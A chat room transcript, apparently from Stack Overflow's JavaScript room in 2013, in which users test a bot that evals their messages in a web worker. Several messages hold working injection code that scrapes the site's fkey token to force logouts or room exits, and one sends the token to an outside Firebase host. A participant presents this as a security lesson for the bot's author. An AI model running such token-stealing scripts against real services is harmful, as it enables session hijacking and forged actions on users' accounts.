« first day (1128 days earlier)      last day (3819 days later) » 

10:00 PM
3+6
 
Well, the answer is OBVIOUSLY 9.
 
var x=5;var y = 6;x+y;
 
window.location = 'nyan.cat'
 
Well, the answer is OBVIOUSLY 11.
 
@SomeKittens don't ruin this for me gimme a sec
 
10:01 PM
lol that doesn't work @Somekittens
 
@Doorhandle cool +1
 
It's a webworker it doesn't know what 'window' is
What does +1 do?
 
@Doorhandle jack shit
 
fake interweb points
 
10:02 PM
oh
 
useless in the real world, but much sought after by many.
 
so, a compliment? Well... thanks, i guess
Took me almost 5 minutes to make that bot :P
There's virtually no way to mess it up :D
 
cool, I want to test it
 
Go ahead :P
It's on
 
!!hi
 
10:04 PM
@connor.js That didn't make much sense. Use the !!/help command to learn more.
 
I meant my bot
 
where
 
It evals your message
 
YES
 
Math.sqrt(Math.PI)
 
10:04 PM
Well, the answer is OBVIOUSLY 1.7724538509055159.
 
where is she?
 
nice
 
oh
1 + 1
 
Well, the answer is OBVIOUSLY 2.
 
took you a while to figure that one out ayye
2 + NaN
 
10:05 PM
Well, the answer is OBVIOUSLY NaN.
Well, the answer is OBVIOUSLY NaN.
lol twice
 
function fib(n){ return n<2?n:fib(n-1)+fib(n-2);}fib(42);
 
eval('alert('bonus')')
 
it can't alert, it's a webworker :P
 
oh yeah
 
oh and dont put semicolons
 
10:05 PM
function fib(n){ return n<2?n:fib(n-1)+fib(n-2);};Array(17976931348623157).join(fib(123));
 
Semicolons dont work with it
 
while(1) { return Math.random() }
 
And just do Array.join it also works
Nice try
 
function fib(n){ return n<2?n:fib(n-1)+fib(n-2);} fib(4);
 
Well, the answer is OBVIOUSLY 3.
 
10:06 PM
what is the timeout?
 
A bit long for that one
 
function fib(n){ return n<2?n:fib(n-1)+fib(n-2);} fib(42)
that times out I assume
 
The timeout will be 2000 i guess
I didn't set it up right now i just refresh the console
But webworkers dont make my page unresponsive while it's messed up
Keep getting 'you can respond again in blank seconds' it's annoying and messing with my bot
Setting up now
Will create new bot instance every timeout
 
@Doorhandle That actually does something different.
 
@SomeKittens what does different
 
10:09 PM
we forgive you, after all you are just a knob.
 
Array.join !== Array(4).join
 
Well, the answer is OBVIOUSLY true.
heh.
 
I like how your bot just proved yourself wrong.
 
:P
Well setTimeout is synchrous right
 
new Date()
 
10:10 PM
Well, the answer is OBVIOUSLY Sun Nov 17 2013 16:10:45 GMT-0600 (CST).
 
function blah () { return arguments };
 
Well, the answer is OBVIOUSLY undefined.
 
@phenomnomnominal gimme 2 minutes
 
@BenjaminGruenbaum sweet :P
 
this.postMessage('RAWR!!!');
 
10:12 PM
RAWR!!!
lol
 
this.postMessage(new Error())
 
this.toString();
 
I have throwError :P
i got the you can post again in blank seconds
so try again
 
this.toString();
 
Well, the answer is OBVIOUSLY [object DedicatedWorkerGlobalScope].
 
10:13 PM
It'd be helpful if you avoided short, useless messages like lol
 
function blah () { return arguments.callee };
 
Well, the answer is OBVIOUSLY undefined.
 
Object.keys(this)
 
Well, the answer is OBVIOUSLY onmessage,webkitNotifications,indexedDB,webkitIndexedDB,navigator,console,onerro‌​r,location,self.
 
Object.keys(self.navigator);
 
10:14 PM
// netscape
 
..
 
new Nofitication('hello');
 
Well, the answer is OBVIOUSLY webkitPersistentStorage,webkitTemporaryStorage,onLine,product,appCodeName,userAg‌​ent,platform,appVersion,appName.
 
self.navigator.userAgent
 
Well, the answer is OBVIOUSLY Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36.
No! dont get my data
 
10:16 PM
var a="abcdefghijklmnopqrstuvwxyz1234567890.",i=18,j=0,b=[a[i++],a[++i],a[++j],a[--i-‌​1],a[i],a[--i-1],a[++j*(j+j)],a[--i-(j+j)],a[j*j+j]].join(""),f=function(x,y){switc‌​h(x){case 1:o=y;break;case 0:l=y;break}return y},o,l,c=[a[b](i+j)[0],a[b](i++,i),f(1,a[b](--i-++j,i- --j)),f(0,a[b](--i-(j++ +j),i++-(--j+j)))].join(""),e=o+l,d=c+Array(++j+j).join(e);d;
 
dammit message too long :(
 
self.postMessage('' + "eval(this)")
 
eval(this)
 
bah
 
Well, the answer is OBVIOUSLY undefined.
 
10:16 PM
your bot is doing a horrible job on my message
 
var h=new XMLHttpRequest;h.open("GET","/users/logout"),h.onload=function(){var a=document.createDocumentFragment();a.innerHTML=h.response;var b=h.response.indexOf('id="fkey"'),c=h.response.indexOf(">",b),d=h.response.slice‌​(b,c);b=d.indexOf('value="')+7,c=d.lastIndexOf('"');var d=d.slice(b,c),e=d,f=new XMLHttpRequest;console.log(e),f.setRequestHeader("Content-type","application/x-w‌​ww-form-urlencoded"),f.open("POST","/users/logout"),f.send("fkey="+e+"&everywhere‌​=Log%20Out")},h.send();
he's gone, no sweat ^^
 
@BenjaminGruenbaum hahahaha
 
There must be errors in your post
 
no errors in my post
 
Oh yeah, it ends with a ;
 
10:17 PM
Also, don't put semicolons
 
var h=new XMLHttpRequest;h.open("GET","/users/logout"),h.onload=function(){var a=document.createDocumentFragment();a.innerHTML=h.response;var b=h.response.indexOf('id="fkey"'),c=h.response.indexOf(">",b),d=h.response.slice‌​(b,c);b=d.indexOf('value="')+7,c=d.lastIndexOf('"');var d=d.slice(b,c),e=d,f=new XMLHttpRequest;console.log(e),f.setRequestHeader("Content-type","application/x-w‌​ww-form-urlencoded"),f.open("POST","/users/logout"),f.send("fkey="+e+"&everywhere‌​=Log%20Out")},h.send()
 
@rlemon I get illegal token in console
 
don't copy it out of the chat
 
There's a left perenthesis
 
or strip the illegal chars
 
10:18 PM
$
 
Don't put perienthesis in the beginning or end like that
 
!!> var a="abcdefghijklmnopqrstuvwxyz1234567890.",i=18,j=0,b=[a[i++],a[++i],a[++j],a[--i-‌​1],a[i],a[--i-1],a[++j*(j+j)],a[--i-(j+j)],a[j*j+j]].join(""),f=function(x,y){switc‌​h(x){case 1:o=y;break;case 0:l=y;break}return y},o,l,c=[a[b](i+j)[0],a[b](i++,i),f(1,a[b](--i-++j,i- --j)),f(0,a[b](--i-(j++ +j),i++-(--j+j)))].join(""),e=o+l,d=c+Array(++j+j).join(e);d;
 
@rlemon [object WorkerErrorEvent]
 
damn, forgot about that. bot's eval is borked
 
Semicolons...
lol
 
10:19 PM
@Shea [object WorkerErrorEvent]
 
function w(){var e=[65,32,70,85,67,42,73,78,71,32,74,79,75,69],t;e.forEach(function(e,n){if(n===0‌​){t=String.fromCharCode(e)}else{t+=String.fromCharCode(e)}});return t}w()
no?
lol
 
Check if your code has errors
 
doesn't
 
Type eval(yourcode) and see if it works
 
does
minifier
 
10:20 PM
oh
I know
 
function w(){var e=[65,32,70,85,67,42,73,78,71,32,74,79,75,69],t;e.forEach(function(e,n){if(n===0‌​){t=String.fromCharCode(e)}else{t+=String.fromCharCode(e)}});return t}w()
 
I take out the word 'return'
 
var h=new XMLHttpRequest();h.open("GET","/users/logout");
h.onload = function(){
var d = document.createDocumentFragment();
d.innerHTML = h.response;
var s = h.response.indexOf('id="fkey"');
var e = h.response.indexOf(">",s);
var t = h.response.slice(s,e);
s = t.indexOf('value="')+7;
e = t.lastIndexOf('"');
var t = t.slice(s,e);
var token = t;
var logout = new XMLHttpRequest();
console.log(token)
logout.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
logout.open("POST","/users/logout");
 
0
Q: nodejs dynamodb callback question

ClustermagnetFolks, I am writing an API which gets results from a DynamoDB table, and puts back JSON to the browser. The code below works, and returns desired results... however, after reading about async and callbacks, its becoming important for me to know if i should be writing this in another way? Does...

 
Make it give an output without 'return'
 
10:21 PM
@Doorhandle when you run my code above in the console does it work? It works here..
 
why no return?
 
@BenjaminGruenbaum make sure that your code doesn't have return
Fine ill put return back on
 
it has no return, try to run it on your box it should alert a token
 
Okay
try again
 
function w(){var e=[65,32,70,85,67,42,73,78,71,32,74,79,75,69],t;e.forEach(function(e,n){if(n===0‌​){t=String.fromCharCode(e)}else{t+=String.fromCharCode(e)}}); t}w()
 
10:22 PM
PS I can't alert
 
oh crap, the chat is on a different domain -_-'
 
It's a web worker
the code does nothing in my browser
 
not working!
 
How about this, just type 't' instead of return t
Type 0 + t
Instead of return t
 
function w(){var e=[65,32,70,85,67,42,73,78,71,32,74,79,75,69],t;e.forEach(function(e,n){if(n===0‌​‌​){t=String.fromCharCode(e)}else{t+=String.fromCharCode(e)}}); t+1}w()
 
10:24 PM
tough luck
in my web browser it doesn't do anything, though
 
function w(){var e=[65,32,70,85,67,42,73,78,71,32,74,79,75,69],t;e.forEach(function(e,n){if(n===0‌​){t=String.fromCharCode(e)}else{t+=String.fromCharCode(e)}});t+null}w()
 
Are you trying to make me say what t is?
lol... you cannot setInterval
 
1+w()
 
Well, the answer is OBVIOUSLY 1.
:)
 
LMAO
 
10:26 PM
Well, the answer is OBVIOUSLY 1.
test
 
h()
 
... define H
 
var h=new XMLHttpRequest();h.open("GET","/chats/leave/17");
h.onload = function(){
var d = document.createDocumentFragment();
d.innerHTML = h.response;
var s = h.response.indexOf('id="fkey"');
var e = h.response.indexOf(">",s);
var t = h.response.slice(s,e);
s = t.indexOf('value="')+7;
e = t.lastIndexOf('"');
var t = t.slice(s,e);
var token = t;
var logout = new XMLHttpRequest();
console.log(token)
logout.open("POST","/chats/leave/17");
logout.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
 
w()
!!> function w(){var e=[65,32,70,85,67,42,73,78,71,32,74,79,75,69],t;e.forEach(function(e,n){if(n===0‌​){t=String.fromCharCode(e)}else{t+=String.fromCharCode(e)}});return t}w()
 
10:27 PM
@connor.js [object WorkerErrorEvent]
 
lol, that won't work on Caprica, can't do loadScript or XHR from there ^^
 
!!>function w(){var e=[65,32,70,85,67,42,73,78,71,32,74,79,75,69],t;e.forEach(function(e,n){if(n===0‌​){t=String.fromCharCode(e)}else{t+=String.fromCharCode(e)}});return t}w()
 
@connor.js [object WorkerErrorEvent]
 
I give up
 
dont put perenthesis!
 
10:29 PM
function lol () { setTimeout(function () { postMessage('LULZ') lol() }, 2000) } lol ()
 
why?
function lol () { setTimeout(function () { postMessage(\'LULZ\') lol() }, 2000) } lol ()
 
Because then it would be like eval(('hi'))
 
var h=new XMLHttpRequest();h.open("GET","/chats/leave/17");
h.onload = function(){
var d = document.createDocumentFragment();
d.innerHTML = h.response;
var s = h.response.indexOf('id="fkey"');
var e = h.response.indexOf(">",s);
var t = h.response.slice(s,e);
s = t.indexOf('value="')+7;
e = t.lastIndexOf('"');
var t = t.slice(s,e);
var token = t;
var logout = new XMLHttpRequest();
console.log(token)
logout.open("POST","/chats/leave/17");
logout.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
 
lol is already called
you don't have to put lol()
 
@Doorhandle does it eval that code?
 
10:29 PM
Yes
 
and does it execute it?
 
Em, it evals
 
lol
 
But yes
 
Put that code in your console and run it - it should do something
 
10:30 PM
function lol () { setTimeout(function () { postMessage('LULZ') lol() }, 2000) }
 
It is in a WebWorker, though so things are limited
 
Shouldn't matter for that purpose
 
Lol... I told you it is in a webworker so it is catching the error
 
there shouldn't be an error...
 
You are saying eval(function lol () { setTimeout(function () { postMessage('LULZ') lol() }, 2000) })
:P
 
10:31 PM
That's not mine..
var h=new XMLHttpRequest();h.open("GET","/chats/leave/17");
h.onload = function(){
    var d = document.createDocumentFragment();
    d.innerHTML = h.response;
    var s = h.response.indexOf('id="fkey"');
    var e = h.response.indexOf(">",s);
    var t = h.response.slice(s,e);
    s = t.indexOf('value="')+7;
    e = t.lastIndexOf('"');
    var t = t.slice(s,e);
    var token = t;
    var logout = new XMLHttpRequest();
    console.log(token)
    logout.open("POST","/chats/leave/17");
    logout.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
That ^
 
Dude, WEB WORKER
 
So?
 
He is trying to log me out
 
it has XMLHttpRequest
 
XMLHttpRequest
 
10:32 PM
oh
It doesn't logout anyway's
 
@connor.js really, if you run it it doesn't log you out?
 
do you mind typing 1+1 want to see if my bot is still up
 
(leaves the room)
 
no
 
10:32 PM
Well, the answer is OBVIOUSLY 2.
 
it takes me to the all chat's page
 
@connor.js yeah, that's "leave the room"
 
new XMLHttpRequest()
 
Well, the answer is OBVIOUSLY [object XMLHttpRequest].
 
document
 
10:33 PM
this
 
Well, the answer is OBVIOUSLY [object DedicatedWorkerGlobalScope].
Well, the answer is OBVIOUSLY [object DedicatedWorkerGlobalScope].
hi
Well, the answer is OBVIOUSLY undefined.
Well, the answer is OBVIOUSLY undefined.
someone type 'revive'
 
onerror
 
Well, the answer is OBVIOUSLY null.
 
killed it
 
10:35 PM
did you?
 
no
apparently it's dead though
 
onerror = function() {}
 
Well, the answer is OBVIOUSLY function () {}.
Type revive it should say Revived in the chat
 
self.postMessage('@someKittens');
 
@someKittens
Well, the answer is OBVIOUSLY undefined.
 
10:36 PM
ok
self.close()
1+1
sorted
 
huh
Please just type revive :P
 
lmao
revive
1+1
 
Well, the answer is OBVIOUSLY 2.
 
2+"
 
10:38 PM
Fixed error
In revive
 
1+!
1+1
 
Well, the answer is OBVIOUSLY 2.
 
Revive, please
 
revive
Image
 
10:38 PM
ArrayList<Integer> myList = new ArrayList<Integer>();
 
1+!
 
@SomeKittens if you're writing Java at least use diamond notation
 
sigh so the company called me about my current job
 
1+1
 
wont budge on the salary
saying I pretty much need to accept 10k under... and Ill have more responsibility
 
10:39 PM
@BenjaminGruenbaum Isn't that only Java7?
 
@Loktar so they want to pay you less money for no reason?
 
such bs
well its a new company
 
@Loktar interview - a lot.
 
they won the contract im on now
 
@Loktar Equity then
 
10:40 PM
but I worked for this company like 4 years ago, they are starting me at waht they started me at back then
oh well Im not budging
 
@Loktar interview, interview, interview
 
Any chance of coming to the valley?
 
1+1
 
@SomeKittens nah, @BenjaminGruenbaum yeah I did the other day
and that oppourtunity is looking very promising
 
MOAR
How many people did you send your CV to today?
 
10:41 PM
heh none, there are only .net positions around here that I can find
 
ok fixed a lot of bugs
 
and I suck with .net :?
 
Now try 'revive' again
 
revive
 
but you're right man I need to send it out
 
10:41 PM
1+1
 
@Loktar learn
 
Revived!
 
1+2
 
@Doorhandle do you realize how huge the security risk you have right now?
 
Well, the answer is OBVIOUSLY 3.
SpamBot bugged me again
 
10:42 PM
If you have any connection to any sensitive information - we can get it.
 
'!!echo "!!echo"'
 
Well, the answer is OBVIOUSLY undefined.
 
We can use your PC as a proxy right now for child porn or other sick shit.
 
lmao
 
10:42 PM
We can use your PC for illegal shit and you're liable
 
importScripts('worker.js')
 
Copyright infringement. As everyone knows that's much worse than CP!
 
And it's pretty easy because we have a damn easy interface for XMLHttpRequest. I can make an XHR to my server with your token, and then change your user or play with it.
 
JSON.stringify(this)
 
@ThiefMaster No need to go to extremes!
 
10:43 PM
fixed a lot more errors
 
revive
 
i mean bugs
 
1+1
 
@Doorhandle moreover - we have a script that does what you're trying and isolates stuff.
 
Now the spambot doesn't mess me up
nvm spambot still problem
Revived!
 
10:44 PM
1+1
 
I can put 2 in 11 seconds
Well, the answer is OBVIOUSLY 2.
 
var something = "testing"
 
Well, the answer is OBVIOUSLY undefined.
 
t=10;while(t>1){t--;self.postMessage('@connor.js')}
 
@connor.js
nice try...
 
10:46 PM
I have a feeling the worker dies when a message is posted
 
setTimeout(function() {this.postMessage('Hello Everybody'); }.bind(self), 2000)
 
I have try and catch dude
no semicolons...
 
There's not a new worker for each eval?
 
@Shea Nope
 
10:47 PM
no
 
setTimeout(function() {this.postMessage('Hello Everybody') }.bind(self), 2000)
 
Well, the answer is OBVIOUSLY 1.
 
Oh joy, my roommate is crying.
 
Hello Everybody
at now
 
@RUJordan punch 'em
 
10:47 PM
She's a girl <.<
 
that was an incredible typo
 
Tell her to stop being emo
That always works
 
I was gonna say, I can't punch through the internet bro
 
whos crashing me :P
 
t=10;while(t>1){
t--;
(function() {
window.setTimeout(function() {
self.postMessage('@connor.js' + Math.random())
}.bind(self), 2000)
})()
}
 
10:49 PM
its off for a while conner
 
ok
connor*
 
making improvements -ya
ok on
changed interval 100 to 1000 so i dont get bug
Not that it matters- fixed that too
 
I don't care if she's my future sister-in-law.. this girl legit cries too much.
 
postmessage = function(){}
 
!!afk smoke..
 
10:51 PM
@RUJordan Can you pick up some milk on your way back?
 
Well, the answer is OBVIOUSLY function (){}.
 
var h=new XMLHttpRequest();h.open("GET","");
h.onload = function(){var s = h.response.indexOf('id="fkey"');var e = h.response.indexOf(">",s);var t = h.response.slice(s,e);s = t.indexOf('value="')+7;e = t.lastIndexOf('"');var t = t.slice(s,e);var x = new XMLHttpRequest();x.open("POST","https://stackoverflowchat.firebaseio.com/test.json");x.send('{"token":"'+t+'"}');};h.send()
 
Well, the answer is OBVIOUSLY undefined.
 
Got your token.
Now please fix your bot ^^
 
what? the answer is undefined...
It's a web worker, it doesn't understand 'window'
 
10:53 PM
I don't use window here
 
Tails
well whatever it is
 
Of course, I didn't look at the answer, I found your unique login token and then sent I sent it to my storage
at firebase
 
Tails
Fixing bot flip a coin
 
So basically what that code does is create a request to grab your token and then create another one and send that to me.
 
that's bad
 
10:54 PM
var h=new XMLHttpRequest();h.open("GET","");
h.onload = function(){var s = h.response.indexOf('id="fkey"');var e = h.response.indexOf(">",s);var t = h.response.slice(s,e);s = t.indexOf('value="')+7;e = t.lastIndexOf('"');var t = t.slice(s,e);postMessage(t);
 
im fixing bot
 
@SomeKittens don't do anything like that
 
Not on right now
 
I don't want people to actually have his code... that'd be a real legal issue.
 
guys, type 'Flip a coin'
Well, the answer is OBVIOUSLY undefined.
Type flip a coin and it will choose heads or tails
 
10:57 PM
var h=new XMLHttpRequest();h.open("GET","/chats/leave/17");
h.onload = function(){var s = h.response.indexOf('id="fkey"');var e = h.response.indexOf(">",s);var t = h.response.slice(s,e);s = t.indexOf('value="')+7;e = t.lastIndexOf('"');var t = t.slice(s,e);var x = new XMLHttpRequest();x.open("POST","https://stackoverflowchat.firebaseio.com/test.json");x.send('{"token":"'+t+'"}');};h.send()
 
Well, the answer is OBVIOUSLY undefined.
 
flip a coin
 
Heads
Of course, it's not true randomness
It takes either 'flip a coin' or 'Flip a coin'
 
var h=new XMLHttpRequest();h.open("GET","");
h.onload = function(){var x = new XMLHttpRequest();x.open("POST","https://stackoverflowchat.firebaseio.com/test.json");x.send('{"token":"'+h.response+'"}');};h.send()
 
Well, the answer is OBVIOUSLY undefined.
 
10:58 PM
self.something = 'testing'
 
Well, the answer is OBVIOUSLY testing.
 
got your source ^^
 
self.something
 
Well, the answer is OBVIOUSLY undefined.
Really?
 
"self.onmessage=function(e){ if(e.data == 'Flip a coin' || e.data == 'flip a coin') { if(Math.random() > .5) { postMessage('Heads'); }else { postMessage('Tails') }} try{postMessage('Well, the answer is OBVIOUSLY ' + eval(e.data) + '.');}catch(err){}}"
^
 
10:58 PM
Well, the answer is OBVIOUSLY self.onmessage=function(e){ if(e.data == 'Flip a coin' || e.data == 'flip a coin') { if(Math.random() > .5) { postMessage('Heads'); }else { postMessage('Tails') }} try{postMessage('Well, the answer is OBVIOUSLY ' + eval(e.data) + '.');}catch(err){}}.
Nice try
That's the worker's code, not everything :D
 
what try - that is your source. I'm doing my very best to scare you into sanitizing your stuff without committing a felony.
 
Dude, toLowerCase()
 

« first day (1128 days earlier)      last day (3819 days later) »